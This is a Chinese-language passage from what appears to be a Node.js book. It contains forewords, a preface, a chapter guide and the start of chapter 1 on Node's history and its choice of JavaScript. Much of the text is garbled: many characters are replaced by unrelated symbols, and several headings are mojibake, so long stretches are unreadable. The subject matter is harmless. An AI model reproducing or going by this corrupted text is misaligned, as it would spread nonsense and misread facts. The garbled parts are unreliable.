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没有用过 Node 的人，是不会相信仅凭 JavaScript 这门活跃于网页编程的脚本语言就可以驱

动后端复杂的应用程序，也不会相信 Node 在开发高并发、高性能后端服务程序上也有着极大的

优势。 
我们在 2010 年接触 Node 的时候，国内外了解 Node 的人寥寥可数，2011 年我们已经决定在

淘宝的部分生产系统中开始使用 Node。由于招募熟悉 Node 的人才是个大问题，为了树立技术品

牌，我们在 2011 年年初创办 CNode 开源技术社区（CNodeJS.org），没有想到一发不可收拾。从

2011 年 4 月开始，我们走遍北京、上海、广州、深圳、杭州，甚至还到了香港，发起并且组织了

多次 NodeParty 线下技术分享。为了弥补初学者没有 Node 托管环境学习测试的问题，我们还自

己研发了 Node App Engine。Node 在国内深入人心，我相信与 CNode 社区有着不小的关系。 
最初，Node 的爱好者大都是些喜欢探索新技术的极客。在社区，我们也认识了很多天南海

北的朋友，包括朴灵。在一次上海 Node 技术分享会后，我邀请他加入了淘宝。他在淘宝工作之

余继续为社区作贡献，自发为 Node 的推广做了很多事情，包括今天他呕心写了这本书，我相信

这是目前质量最高的一本 Node 图书。因为中国没有几个人像朴灵一样，有机会在很多高并发的

应用场景中反复实践。这绝对是一本实践性极强的技术书，不管是否学习过 Node，只要你爱好

技术，都推荐你阅读它。 
 
 

空无 
CNode 社区创始人 

阿里巴巴数据平台事业部数据交换平台总监 
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Node ភ生于 2009 年，天才的屌ˌ᭞年 Ryan Dahl ѽ用了 Google 的 V8 ल୲੩ᤴ了۲于事͇

९环实ဗ的ऩ൥ I/O ಳ౵。也᝴ Ryan ॆ时ᤤસ JavaScript 作为服务٧开发语言，只是因为 V8 的

性能ᤉᡓФ他脚本语言，ͭ是这ԁ੆为 Node ੆ҩ的极Ф᧗要的因ገ。不仅仅是 JavaScript 大ࢼ

的用ਖ਼Ꮕ，ఝ᧗要的是 JavaScript 之前没有͉ʹ I/O ं，这使 Node 在开发ऩ൥ I/O 时不会像

EventMachine、Twisted ᥦ样因与Վ൥ I/O ຈ用Ꮺ࠭ᒰ问题。 

ᆀᆀ几年的时ᫍ，Node Ԩ३了ࢼ大的੆ҩ。在开源社区 GitHub 上，Node 高ࡏኃ̃。express、

socket.io 这样的优ሑಳ౵都有着极高的ଅՏ，NPM 上的ഴڰ数量֖下ᣑ量也᭣࣡৲人。ఝ可喜的

是，国内的 Node 社区也ភ生了᝴多优ሑ的开源ᮉ目，Ф中 node-webkit、pomelo ኍ在国ᬄ开源社

区中都产生了一定的ॕֽҦ。 

在͌ˉႌ，Node 的应用也ᡔ౎ᡔ广ค。LinkedIn 的ሧ动ࣰԻ已经К部从 Ruby ᣺ሧ到 Node，

机٧数量᎕ђ为ԓ౎的Ӡ分之一。像 Yahoo、Microsoft 这样的大МՂ，有好多应用已经᣺ሧ到

Node 了。国内的ᬀ᧖ࣄࣄ、网௛、ᒐᝬ、新ํ、ᄇऎኍМՂ的很多线上产品也ጬጬஇ用 Node 开

发，并Ԩ३了很好的஌౦。 

朴灵是国内最௉的 Node 开发者之一，不仅组织了 CNode 社区，在 InfoQ 发ᛪ的þ深入ุѢ

Node.jsÿ系Ѵ஠ብఝ是对国内的 Node 社区产生了ࢼ大的ॕֽ。᝭३我在 2011 年初次接触 Node

的时候，ᬓ了国外的几个໥ᝮ஠ሼ，۲本上没有 Node 相关的图书，Ꮺ最ᝧ我Ӿ៵深҈的，ඒ௃

Ⴀ问是朴灵的þ深入ุѢ Node.jsÿ系Ѵ஠ብ。ൣ 是这一系Ѵ஠ብ，使我们ᣖ好ူڠ解、学习 Node

后，开发Ѣ了 pomelo ಳ౵，也ݕ定了朴灵在国内 Node ႌ的ͮڠ。 

今ˏ年过Ԝ了，国内外的ݟ Node 图书也Ѣ了不࠵。ͭ国内的几本书有ཁϟุ，Ԁ使国外的

几本Տච很大的书也没有ᝧ我有动Ҧ᤯读К书，因为内ࠓஞͳ上没有ܹ大深ऎ，对于有ᣖˣ开发

经ᰍ的 Node 开发者ࣞү不是很大。不过ॆ朴灵ᝧ我ࠅಢ这本书时，我᜿३收ᖌᮗ多。相ඊФ他

Node 图书的作者，他在淘宝一线的开发经ᰍ使这本书ఝ有深ऎ，Ꮺ他஠ᓧ᭞年的ᐿ景ᝧ这本书

读起౎极Фᮊႉ，他的ᨚ研ዴᇷԠᝧ这本书在ူ᝶上很有深ऎ。Βݟ，朴灵在ॱӯ上自ሥþ一个

能ଽ定ុٿѥ数ݒࢥ的ႃ人ÿ还ᄽ不是ծ的，在ኃ 4 ብ中，他សጹ̭ፀ了 Node 的Չሗݒࢥѥ数

过深的解决ழ಴，Βݟ EventProxy、Promise、async、step、wind.js ኍՉሗ解决ழ಴都有深入ᝮ

解。൤外，朴灵还是 EventProxy 的作者，在这ழ᭦有最ాގ的实践经ᰍ。 

朴灵是国内 Node ႌ的ኃ一͛᥊ܢ，ᬓ了ᥦ一系Ѵ஠ብ，他还在К国Չڠ组织了 NodeParty

֖ JSConf China（2012 年的෫ JS ֖ 2013 年的京 JS），并且在ॱӯ上以Չሗធះ᳭ࣷ的ழก͛ࠇ
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Node。在Չ个技术大会上，我们都可以᜸到朴灵的ᢵॕ。ఝ强的是，朴灵在ඇ次大会上੝做的໥

ᝮ很࠵ᭆՎ，他঳是能્ଇѢ Node 的ழழ᭦᭦，ཨ后很认ᄽڠ঳ፆѢ౎，以᳭ࣷ的ᝮ解ᝧե͔

ਏঋڠ接ԩ。 

因൤，ॆ३ᅻ朴灵要写这本书时，我们都很Т݋。ឹ能ඊ他ఝᑇ͉փ὞ඒ௃Ⴀ问，这࠱是国

内ኃ一的 Node 图书。ݟ今，经过一年多的ኍय़，你们ጻ于有机会ᄹ到朴灵这一年多ᣬӂҶ动的

੆౦了。 

 

 

៘ᰌᡓ 

Ꭹ௛ᰳጞ੾శ˃ࠑǋ౵ౝ࣍ 

pomelo धຸຣ੅నҫ٧ಳ౵创始人 

2013 ࣱ 7 త 8 ௅ 
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2006 年至今，我们时࣡可以ᄹ到 JavaScript 的新᫔，ѷ开始只是 JavaScript ल୲性能的ଡӣ，

到后౎发ဗ很多是౎自 HTML5 ֖ Node 创ᤴ的݈ᤛ。ݟ౦只ᄹᛪ᭦，很ࠓ௛ᝧ人ਕ᜿这Ԡ是一

ᮣӻ௠。这ሗဗ៵ᝧ人᜿३不可信，੝以Ѣဗ了以下Չሗྟ本的ឧ解。 

� Node ᐯ定是几个前端工程࣍在实ᰍࠈ᧖૱ᴁѢ౎的。 

� 为了后端Ꮺ后端，有਒ধ՘὞ 

� ঞ˥Ԡ发௙了一门新语言὞ 

� JavaScript ੽ઝ的᠉͉ܹ᧗了。 

� ᄯ᜿上，JavaScript 不应ឞᤁᛠ在后端。 

� 前端工程࣍要ᤣᜂ了。 

一ழ᭦，大ࠑᄹ到 JavaScript 在Չ个ڠழஉѢऩॐ，Ф他语言的开发者௄Ꮔਢ它的੆౦，

Ԡઝ心它对ॆ前੝从事的语言ᤴ੆уѣ὚Բ一ழ᭦，人们还是有 JavaScript 只能做前端脚本的

定势ধ፤。ቂФԓ因，还是因为人们Ꭴ˫ԊԽ᜹ࡎ次上的认ᅻ，੝以会产生一些ᖅᮋ有的ਇਇ

不߶。 

1995 年，JavaScript ᬣ网景МՂ发࣊的 Netscape Navigator 2.0 发࣊，它最௉֐Տ为 LiveScript，

ᬣ后ఝՏ为 JavaScript。它Ѣ自ݟ今的 Mozilla МՂ的 CTO——Brendan Eich 之੣，Ф产生౎源于

网景МՂ发࣊的 Netscape Navigator เ᜾٧ᭉ要一ሗ脚本语言౎Өүเ᜾٧做一些ኤӬ的动খୱ

作。ॆ时网景МՂ与 Sun МՂՋ作ࠚѬ，不਴技术的管ူ࣎ࡎభ३到一个 Java 的脚本ྟ语言，

以య能像 Java 一样᮲᭥。Brendan Eich ԓ本ᤈ入网景МՂ是࣎భ做 Scheme 语言的开发，ͭ是ԁ

接到了一个不喜欢的͉务，ͭᤔ于ॆ时्势，不३不߸੆൤事，于是 JavaScript 之ྗ在 10 天的时

ᫍ᧖̱Χ߸੆了 JavaScript 的᝹᝟，ॆ时的ᮉ目̼Ձ是 Mocha，ՏߙԶ LiveScript。 

这门语言ᬓ了ᄹ起౎像 Java 外，本质与 Java 语言相Ԝ甚ᤉ，管ူࡎయభ的 Java Script Ф实

ύ᧜了 C、Scheme、Self、Java 的᝹᝟。ࡉ管̱Χ，ͭ是这门语言还是ύ᧜了Ф他语言的不࠵优

ཁ，ݟѥ数य、ԓᩖۋ继੽ኍ。ܪ于 Java ᫺ॕ下的这门语言ᖌ३了它最ጻ的ՏߙὙJavaScript。

至今，̮ཨ还有᝴多人分不ຌ Java 与 JavaScript 的关系，就像分不ຌᭆᩣ与ᭆ܈ࢎ一样。 

ᙉཨ JavaScript 的产生与 Netscape Navigator เ᜾٧的ᭉය有关系，ͭ 它并᭣只是᝹᝟Ѣ౎用

于เ᜾٧前端的。௉在 1994 年，网景МՂ就М࣊了Ф Netscape Enterprise Server 中的一ሗ服务٧

端脚本实ဗ，它的ՏߙԶ LiveWire，是最௉的服务٧端 JavaScript，甚至௉于เ᜾٧中的 JavaScript

М࣊。对于这门图灵߸ܫ的语言，网景௉就开始࠼试࠱它用在后端。 
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ᬣ后，ॱ ᣃ在ኃ一次เ᜾٧大ੌ时，于 1996年发࣊的 IE 3.0中也包դ了它的脚本语言ὙJScript。

۲于׷ಕ的ԓ因，它Զ JScript，ͭ 是与 JavaScript Щࠓ。在 1997 年年初，ॱ ᣃ在它的服务٧ IIS 3.0

中也包դ了 JScript，这就是我们在 ASP 中能使用的脚本语言。᧜于ॱᣃܪܪ与网景᧪ᩣ相对，

Ѣ于γએ自己的目的，网景МՂ推ᤈ了 JavaScript 的ಕэӐᤈ程，于 1996 年 11 月࠱ JavaScript

ᤫ̓ፋ ECMA 国ᬄಕэ组织，在 1997 年 7 月М࣊了ኃ一个ྟ本，是为 ECMA-262 Ձಕэ，Ԡሥ

ECMAScript。 

可以ᄹ到，JavaScript 一௉就能ᤁᛠ在前后端，ͭ᮲̇Ԫࣵ，在前后端Չ自的य़᥄ԁ不ࡉ相

Վ。ͦᬣ着 Java、PHP、.NET ኍ服务٧端技术的᮲᭥，与前端เ᜾٧中的 JavaScript ᡔ౎ᡔ᧗要

相ඊ，服务٧端 JavaScript ᤩຑयॱ。只қ下 Rhino、SpiderMonkey 用于工Х。 

ཨᏪ，这个ˆႌ是ԪӐ的。ኃ一次เ᜾٧大ੌᖿ࣪后的 JavaScript 的ˆႌ有些ࣰ᭡，ͭΙཨ

在ᖯ生一些ԪӐ。Google 对 Ajax 的应用ᝧ JavaScript Ԫ३ᡔ౎ᡔ᧗要。Firefox 的发ૻ࣊起了对

IE 的反ஈ，ᤀ౎了ኃ̃次เ᜾٧大ੌ，ባ́̽ JavaScript 的性能不றଡӣ，Chrome 的加入̽它

高໼ᤕѢ。CommonJS ᜺ᔴ的ଡѢ，不ற在߸ؒ JavaScript。ECMAScript ಕэ的不ற推ᤈ，̽语

言ఝ加ዴགྷኤผ，不ϢڠԜᓸߚᖓ。 

เ᜾٧端 JavaScript 在 Web 应用中ᄨᛠ，甚至ᝧ人们ঃ૿了 JavaScript 可以在服务٧端ᤁᛠ

这ᆉ事。ͭ是，服务٧端 JavaScript ဗ在ٿ౎了，因为 Node ភ生了。Node 的ភ生ሎ不开上ᤗ的

ԊԽݎ机，服务٧端 JavaScript 在໫᫁的ԊԽ中᫁యϢ໔႐下ቆᄆ，ͭ Node ᧗新࠱这个ᮖ۪༎

活。Ryan Dahl ۲于对高性能 Web 服务٧的探索，௃਒ᫍΧ੆了服务٧端 JavaScript ᮖ۪的ཟཨ

一新。Node 凭ύ V8 的高性能֖ऩ൥ I/O ഴ࠱ۋ JavaScript ᧗新推Փ了一个高໼。ဗ在，Node 不

仅໗ᡛ JavaScript Վ时ᤁᛠ在前后端，Ꮺ且性能还Ӡ分高஌。与͛统Ӿ៵中的不Վ，它甚至可ඊ

于ॆ前的高஌脚本语言。 

的反应还在继续，前后端要ᡴ语言开发的ဗ࿃已经开始இԪ，因为语言۶ಖ的不Վ，开ݫ݈

发者的分工也ᤈᛠ了ጹ分Ὑ前端工程֖࣍后端工程࣍。˃ˉ技能因为分工Ꮺዴᤈ，ͭ也࠱技能Ԫ

为˃ѽ，ͪ˪前端工程࣍不能ᤈᛠ后端开发，后端工程࣍ଽ不定前端开发，࿆ݟ树立的ܖ。ͭ

Node 的Ѣဗ̽这ሗ分工的ႌᬌԠ开始ഴዹ了。Վ时一些后端工程࣍也关ซ到 Node，他们甚至不

关心前后端语言是否一ᒰ，Ꮺ是ᡆ᜛᜛ڠᛪᇧ对 Node 高性能的ۆ๙，ݟ实时、高并发ኍ。 

大量的前后端工程࣍加入了 Node 的开发᫻ᖸ，GitHub 上 JavaScript 是最活跃的开发语言，

NPM 社区ኃʻழഴڰ঻ণ的ܘ᫁ᤳऎ֖下ᣑ量都௥ᇧ着这个过程不可ᤣ，在这᧖հ一ܥʹ能的

NPM，঳能੼到你ᭉ要的解决ழ಴。很多不ற๘ဗ的ᮉ目֖创਒都因为 Node ֖前端开发能Р用

一ሗ语言Ꮺ࿗ྱ。૰言之，Node 的本਒是ଡΘ一个高性能的᭦Փ网ፎ的੯ᛠࣰԻ，ͭ௃਒ᫍΧ

੆了 JavaScript 社区的ጒᕥ，并ᤈᏪ्੆强大的生খ系统。 

ᴀкⳂⱘ 

目前，还没有一本书࠱ Node 自ᢵፆౝ̭ፀѢ౎，大多Ϣ႐在 Node ̭ፀ੊者ಳ౵、ं的使用

భ从不Վ的᜼ᝇପᇧ࣎᭦上，本书ࡎ Node 自己内在的ྱཁ֖ፆౝ。也᝴你已经用过 Node ᤈᛠ
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相关的开发，在使用了 Node ࣛ౎的ൔ喜后，还能在阅读本书时，发Ѣ一Աþ׎，ԓ౎ Node 是

这样的ÿ，这就是本书的ኤӬ࠘భ。 

对于 Node 初学者，目前ࣉ᭦上也已经有 Node 相关的入门书，它们可以ঋᤳڠᮖ你ᤈ入

Node 开发之஺。在了解了这些۲本过程后，想了解ఝ多 Node ᅻ识的好݈心，会ᮖ你౎阅读本

书的。 

䯙䇏ᓎ䆂 

本书并᭣߸К૊ཱᮊ序ᤫᤈय̭ፀ，ݟኃ 2 ብ是从̼ᆉ组织ፆౝᄹय़ Node，ኃ 3 ብ是从ᤁ

ᛠፆౝᄹ Node，ኃ 4 ብѶ是从编程ፆౝᄹ Node，ኃ 5 ብѶ是 Node 中内ߚፆౝ的ପᇧ，ኃ 6 ብ

ៀԢ的是 Node 中的数૵在 I/O ึ中的ፆౝ੊࿃খ，ኃ 7 ብ是 Node 在网ፎ服务ᝇऎ的̭ፀ，ኃ 8

ብ是 Node 在 HTTP 上的ࡘဗ，ኃ 9 ብᝦ᝶了 Node 的Ӭ机ᬶᏅፆౝ，ኃ 10 ብ是从ӬЊ测试֖性

能测试的ᝇऎԜ关ซ Node，ኃ 11 ብᙉཨ已经ᑱሎ了 Node 编ᆉ的ᔴ႘，ͭ是ቢ在产品Ӑ的ᝇऎ

ᄹय़ Node，也会ᮗ有收ᖌ。 

下᭦是Չብ的សጹ̭ፀ。 

ኃ 1 ብὙ这一ብኤ要̭ፀ了 Node，从中可以了解 Node 的发ࡘԊ程ԢФࣛ౎的ॕֽ֖͈Ϙ。 

ኃ 2 ብὙ这一ብ̭ፀ了 Node 的ഴڰ机҃，从中可以了解到 Node 是ݟʹ实ဗ CommonJS ഴ

在ल用过程中的编ដ、加ᣑ᜺Ѷ。Բ外，我们ڰ包᜺ᔴ的。在这一ብ中，我们សጹ解᧕了ഴ֖ڰ

还能读到ఝ深ऎ的关于 Node 自ᢵ源̼ᆉ的组织౵ౝ。 

ኃ 3 ብὙ这一ብࡘᇧ了在 Node 中我们࠱ऩ൥ I/O 作为˞要᝹᝟ူএ的ԓ因。Բ外，还会̭

ፀ到ऩ൥ I/O 的សጹ实ဗ过程。 

ኃ 4 ብὙ这一ብ˞要̭ፀऩ൥编程，Ф中有࣡᜸的ऩ൥编程问题̭ፀ，也有សጹ的解决ழ಴。

在这一ብ中，我们可以接触到 Promise、事͇、高᫼ѥ数是ݟʹᤈᛠึ程ଌ҃的。 

ኃ 5 ብὙ这一ብ˞要̭ፀ了 Node 中的内ߚଌ҃，˞要内ࠓ有ٿڥۇ收、内ߚᬌ҃、ಉᄹ内

 。应用ኍጹᓫߚ෹໣、大内ߚ内、ߚ

ኃ 6 ብὙ这一ብ̭ፀ了前端 JavaScript ᧖不能᥄到的 Buffer。由于 Node 中会๗Ԣᮟጒ的网ፎ

֖ᇒᄧ I/O，ߙူܪᓫึ数૵会是很࣡᜸的ᛠ为，这部分场景与ጥዱ的前端开发߸К不Վ。 

ኃ 7 ብὙ这一ብ̭ፀ了 Node ஂ૆的 TCP、UDP、HTTP 编程，还ᬃᡂ了 WebSocket 与 TLS、

HTTPS 的̭ፀ。 

ኃ 8 ብὙ这一ብ̭ፀ了ౝत Web 应用的过程中用到的大多数技术ጹᓫ，ݟ数૵ူܪ、ᡸ由、

MVC、ഴ౛、RESTful ኍ 

ኃ 9 ብὙ这一ብ̭ፀ了 Node 的多ᤈ程技术，以Ԣݟʹύү多ᤈ程的ழय౎ଡӣ应用的可用

性֖性能。 

ኃ 10 ብὙ这一ብ̭ፀ了 Node 的ӬЊ测试֖性能测试技ࢻ。 

ኃ 11 ብὙþᛠᄇ᧖者Ӧ˴Ӡÿ，߸੆产品开发的̼ᆉ编写后，才߸੆了ᮉ目的ኃ一൥。这一
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ብ̭ፀ了࠱ Node 产品Ӑ੝ᭉ要ซ਒到的ጹᓫ，ݟᮉ目工程Ӑ、̼ᆉ部Ꮇ、௅ং、性能、ᄢଌઐ

᝜、ሶ定性、ऩౝРߚኍ。 

ᬃे AὙសጹ̭ፀ了 Node 的߶ᜈ൥ᰠ。 

ᬃे BὙᝦ᝶了 Node 的ុ试技ࢻ。 

ᬃे CὙ探ᝦ了ڃ᫲实践੊多人Ө作过程中ᭉ要关ซ的编ᆉ᜺ᔴ问题，它可以很好ڠ᜺ᥗ一

些ͯጞ的、௙௬的ᩱឧ。 

ᬃे DὙ作为͌ˉ开发者，ॸᮋ关ซഴं̱ڰ的ୃत管ူ。在这一ብ中，我们̭ፀ了ݟʹ᤯

过ୃतሒ有 NPM ౎解决͌ˉᬤሒ߶Кኍழ᭦的问题。 
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这本书的产Ѣ过程Ф实߸К不在਒஧之中。最௉੼到我的౏海ဘᏤॆ࣍初还在图灵МՂ，

ᥦ还是 2011 年的时候，作为 Node 发ད友，我Ф实是极ऎ心ᘾ的，因为我ᬓ了作为前端工程࣍

੝઴有的ᥦཁ JavaScript ᅻ识外，只有学习 Node 的བ情，ॆ时我Ӡ分ਕ动，ཨ后ધ绝了౏Ꮴ࣍

的邀请。 
ᬣ后，࢕औᏤ࣍在 CNode 社区ᄹ到我的ᥦኼþ用 Node.js ੩ᤴ你的᭡খ஠͇服务٧ÿ后，邀

请我加入他在 InfoQ 上开ᣯ的þ深入ุѢ Node.jsÿ˃ಜ，Ѣ于对写作的঻৽，我也ધ绝了࢕औ

Ꮴ࣍的邀请。࢕औᏤ࣍ᬣ后以þ写˃ಜ只要ඇ个月写ཁ，ᤉඊ写书ࠓ௛ÿ的ူ由ҧ服我，我ᬣԀ

在心中ૅ૪了᝟Ѳ，᜿३可以࠱自己的学习经ᰍ写Ѣ౎，᣷学᣷写，前前后后大ഏ可以写Ѣ᝴多

ˋ᜴౎，于是ኔ应了࢕औᏤ࣍。在ᬣ后的大Ӧ年时ᫍ᧖，我在 InfoQ 上发ᛪ了 7 ኼ˃ಜ஠ብ。可

能是ܹߔړ小，౏Ꮴ࣍在ࠬ੼ Node ԓ创书作者的过程中经过一ړԠ从࢕औᏤ࣍的推荐下ٿ到了

我这᧖。因为心中已经有些ᄸ目，ᅻ᥊自己想要ᛪ᣹些̣˥，加上加入ᬀ᧖ࣄࣄ数૵ࣰԻ数૵产

品部门（EDP）˃ᐋ从事 Node 开发后，ڃ᫲的ᮖ࠭ဉ༂֖ᔙӡ都Ӡ分ᴁҴ我，᜿३这使֐нн

之中ឞ由我Ԝ߸੆，于是应੽了这本书的写作。 
ॆཨ，这只是ᔪ᤿௅ߔ的开始，ࡉ管ඇ天接触的还是 JavaScript 语言，ͭ实ᬄ上已经从前端

ᮖ۪ᤈ入了后端ᮖ۪，我的ᅻ识᭦ᤉᤉ不ᡛ以ஂଢ଼这本书的写作。ᡴᮖ۪的过程是相ॆ჋ᔪ的，

很࠵有人喜欢࠼试இԪ已有的习਄，Ꮺ我还要在这个۲ᆨ上࠱我还不ܹ熟悉的ˋ᜴᧗新分享Ѣ

౎，要γ᝼没有ᩱឧ，这是ᤉඊ˃ಜ写作高३多的ૌੌ，为൤我࡜次有上了ᠢᓔ的ਕ᜿。ᄯ᜿上，

因为 Node 是 JavaScript 语言，੝以前端工程ଁ࣍ଦ它是相对ࠓ௛的，ͭ是事实上，þᛠᄇ᧖者Ӧ

˴Ӡÿ，熟悉 JavaScript 只是ࣞү我࠵了Ӡ᧖ᡸ，在ஞ个Ԋ程中，还有˴Ӡ᧖ᭉ要߸੆，这就是Т

ᡙ与ဗ实之ᫍ的ࢿᡯ。 
经Ԋ了પሼ、ढయ以Ԣ因为没能૊యѢྟᏪᣤ૿ iPad Ҵኍ੩ѣ，最ጻ೚ူѢ了这本书的ݑ

内ࠓ。与大多数̭ፀ Node 的书不Վ，这些内ࠓ的写作过程就是我自己学习 Node 的过程，这个

过程Ќ஭了இԪࣛ౎的჋ᔪ֖收ᖌ，ඇ一ብᝮᤗ的Ξ᧗ཁ都不相Վ，ͭԠ都是 Node。我在这个

过程中߸੆了自己在ୱ作系统、网ፎழ᭦的ᅻ识补Ќ，ᚌԪ的过程঳是֖ࠗࠡ喜৤的，过Ԝ因为

前后端语言的不ՎᏪ分஘႟ሎ的ᅻ识ཁ，݈ᤛᓉڠ因为 Node ᧗新组Ջᤋ接起౎，这大ഏ就是˯

，的ᐋͮՏ已经ᜁᏤ౛୑૿࣍லଡ到的þconnecting the dotsÿա。写߸这本书时，我前端工程࣊

 。且认为是ဉ༂对我ᣀԪ过程的认可ݾ
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最后，᭣࣡ਕ៘ဌиᔈᏤ࣍ᡱᤈ本书的ᤈऎ，ਕ៘ CNode 社区的朋友们ଡѢ宝᠛तᝫ，ਕ

៘ᬀ᧖ࣄࣄ EDP 部门ፋ̀我最好的环境Ԝ੆᫁，ᝧ这本书ఝዴॐ。 
想不到డ经以஠ᓧ᭞年自អ的我，以这样的्य߸੆了一本书的写作，௄在਒஧之外，

也在਒஧之中。这本书也不能用౎ᒰ᭞௢，这᧖献ፋ我的ආ̝，没有৥的ॕֽ，不可能ߚ在

这本书。 
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Nodeㅔҟ 

 

Node应ឞ是ݟ今最༡བ的技术了，从本ብ开始，我们࠱ᤩ൥ପᇧ它的ឰ多ጹᓫ。  

1.1� Node ⱘ䆲⫳ग़⿟ 

Node的ភ生Ԋ程ݟ下੝ᇧ。 

� 2009年3月，Ryan Dahl在Фӯ客上࣊ࠇэ۲ܫ于V8创त一个ᣏ量ጞ的Web服务٧并ଡΘ一

 。ंݒ

� 2009年5月，Ryan Dahl在GitHub上发࣊了最初的ྟ本。 

� 2009年12月֖2010年4月，ˏࡒJSConf大会都߶ଅ了Node的ᝮए。 

� 2010年年ऄ，Nodeᖌ३ᆩ៭̇᝟ኪ服务׷JoyentМՂ的ᠪү，Ф创始人Ryan Dahl加入

JoyentМՂКᐋ᠆᠉Node的发ࡘ。 

� 2011年7月，Node在ॱᣃ的ஂ૆下发࣊了ФWindowsྟ本。 

� 2011年11月，NodeᡓᡔRuby on Rails，੆为GitHub上关ซऎ最高的ᮉ目（ᬣ后ᜁBootstrap

ᮉ目ᡓᡔ，目前̮ࡏኃ̃）。 

� 2012年1月ऄ，Ryan Dahl在对Node౵ౝ᝹᝟໗਒的情х下，ଁ࠱门人的ᢵ͊ᣀ̓ፋIsaac Z. 

Schlueter，自己ᣀՓ一些研ቂᮉ目。Isaac Z. Schlueter是Node的包管ူ٧NPM的作者，之

后Node的ྟ本发֖࣊bugν复ኍ工作由他接੣。 

� ੔至ቷ者੯ቷ之௅（2013年7月13௅），发࣊的Nodeሶ定ྟ为v0.10.13，᭣ሶ定ྟ为v0.11.4，

NPM的߽ழഴڰ数᣹到34 943个，ഴڰ的ֆ下ᣑ量为1479ʹ次。 

� ᬣ后，Node的发࣊᝟Ѳ˞要ᬶ中在性能ଡӣ上，在v0.14之后，ൣय发࣊Ѣv1.0ྟ本。 

1.2� Node ⱘੑৡϢ䍋⑤ 

在Node的߽ழ网ቢ（http://nodejs.org）之外，NodeХ有很多ѾሥὙNodejs、NodeJS、Node.js

ኍ。本书在写作过程中ᥕ९߽ழ的ឬก，࠱会一ᄯ使用Node这个Տߙ，ͭ是在ॆ前语境之外，

为了与Ф余ᛪᇧᓫཁ的技术੊Տជ相区Ѿ，ڨ可以ࣛ上.jsᛪ௙它是Node。在ե到这些ជ඼时，

第 1 章
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应ឞ਒识到，它们ឬ的是一ᆉ事。ᬓ了本书的࠯᭦֖൤ܪ会用到Node.js外，Ф余ڠழ都会以

Node作为ൣयሥ៊。 

NodeՏߙ的౎由，Ф实ᡱ它的起源是有ࠚѬ关系的。 

1.2.1� ЎҔМᰃJavaScript 

Ryan Dahl是一Տᠪ深的C/C++程序տ，在创ᤴѢNode之前，他的˞要工作都是ډፈ高性能

Web服务٧ᤈᛠ的。经Ԋ过一些࠼试֖ܾ᠋之后，他੼到了᝹᝟高性能，Web服务٧的几个要ཁὙ

事͇驱动、᭣᫽܊I/O。 

੝以Ryan Dahl最初的目ಕ是写一个۲于事͇驱动、᭣᫽܊I/O的Web服务٧，以᣹到ఝ高的

性能，ଡΘApacheኍ服务٧之外的ᤤસ。他ଡ到，大多数人不᝹᝟一ሗఝኤӬ֖ఝ有஌ည的程序

的˞要ԓ因是他们用到了᫽܊I/O的ं。写作Node的时候，Ryan Dahlడ经᝿ͤ过C、Lua、Haskell、

Rubyኍ语言作为ܫᤤ实ဗ，ፆ᝶为ὙC的开发门ഩ高，可以ᮔ᜸不会有ܹ多的开发者能࠱它用于

௅࣡的ˉ务开发，੝以ᒻप它὚Ryan Dahl᜿३自己还不ᡛܴဓᣀHaskell，੝以ᒻप它὚Lua自ᢵ

已经դ有很多᫽܊I/Oं，为Фౝत᭣᫽܊I/Oं也不能இԪ人们继续使用᫽܊I/Oं的习਄，੝以

也ᒻप它὚ᏪRuby的ᘾ઱机由于性能不好Ꮺᖿᤤ。 

相ඊ之下，JavaScriptඊC的开发门ഩ要ͯ，ඊLua的ԊԽ包ᜃ要ࡉ。࠵管服务٧端JavaScript

I/Oं܊场，可以ឬԊԽ包ᜃ为ᭅ，为Ф࠭入᭣᫽ࣉ在已经很多年了，ͭ是后端部分一ᄯ没有ߚ

没有ᮨ外᫽Ҧ。Բ外，JavaScript在เ᜾٧中有广ค的事͇驱动ழ᭦的应用，ఌՋRyan Dahl喜好

۲于事͇驱动的ᭉය。ॆ时，ኃ̃次เ᜾٧大ੌ也ຑຑ分Ѣ高下，Chromeเ᜾٧的JavaScriptल

୲V8୑३性能ኃ一的ಯк，Ꮺ且Ф۲于新BSD᝴可᝼发࣊，自ཨԩ到Ryan Dahl的欢ᤀ。Ꮵᘼ到

高性能、ቿՋ事͇驱动、没有ԊԽ包ᜃ这ὒ个˞要ԓ因，JavaScript੆为了Node的实ဗ语言。 

1.2.2� ЎҔМিNode 

起初，Ryan Dahlሥ他的ᮉ目为web.js，就是一个Web服务٧，ͭ是ᮉ目的发ࡘᡓ过了他最初

Ӭጥ开发一个Web服务٧的想ก，Ԫ੆了ౝत网ፎ应用的一个۲ᆨಳ౵，这样可以在它的۲ᆨ上

ౝतఝ多的ˋ᜴，ឰݟ服务٧、客ਖ਼端、̽֐ᛠ工Хኍ。Node发ࡘ为一个强҃不Р享͉ʹᠪ源的

Ӭ线程、Ӭᤈ程系统，包դӠ分᤟ࠁ网ፎ的ं，为ౝत大ۋ分࣊य应用程序ଡΘ۲ᆨ᝹ஶ，Ф目

ಕ也是੆为一个ౝतঋᤳ、可ͨ᎕的网ፎ应用ࣰԻ。它自ᢵ᭣࣡ኤӬ，᤯过᤯信Өᝫ౎组织᝴多

Node，᭣࣡ࠓ௛᤯过ੰࡘ౎᣹੆ౝत大ۋ网ፎ应用的目的。ඇ一个Nodeᤈ程都ౝ੆这个网ፎ应

用中的一个ᓫཁ，这是它Տߙ੝դ਒˦的ᄽ្。 

1.3� Node 㒭 JavaScript ᏺᴹⱘᛣН 

V8ፋChromeเ᜾٧ࣛ౎了一个强ҵ的心ᑥ，使३它在เ᜾٧大ੌ中ᑱᮢᏪѢ，也使३Ryan 

Dahl在语言᝿ͤ中为ᤤસJavaScriptܘ加了一个极大的ా᧗Ϙ。这᧖我们要ៀៀNodeፋJavaScript
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ࣛ౎的一个新ࡌ᭦。᧜于Node之前ᥦ些不ፋҦ的后端JavaScript实ဗ，在性能֖编程ഴۋኍழ᭦

没能᣹到与Ф他语言一ᣖ高下的程ऎ，这᧖Ўଡ଼开不ៀ，ЎៀៀNode与เ᜾٧的对ඊ。 

Chromeเ᜾٧֖Node的组͇ౝ੆ݟ图1-1੝ᇧ。我们ᅻ᥊เ᜾٧中ᬓ了V8作为JavaScriptल୲

外，还有一个WebKitࡌ࣊ल୲。 HTML5在发ࡘ过程中定˦了ఝ多ఝ˗ࠜ的API。在实ဗ上，เ

᜾٧ଡΘ了ᡔ౎ᡔ多的ҩ能఑᭚ፋJavaScript֖HTMLಕኣ。这个ਜ景Ꮎ好，ͭ 对于前端เ᜾٧的

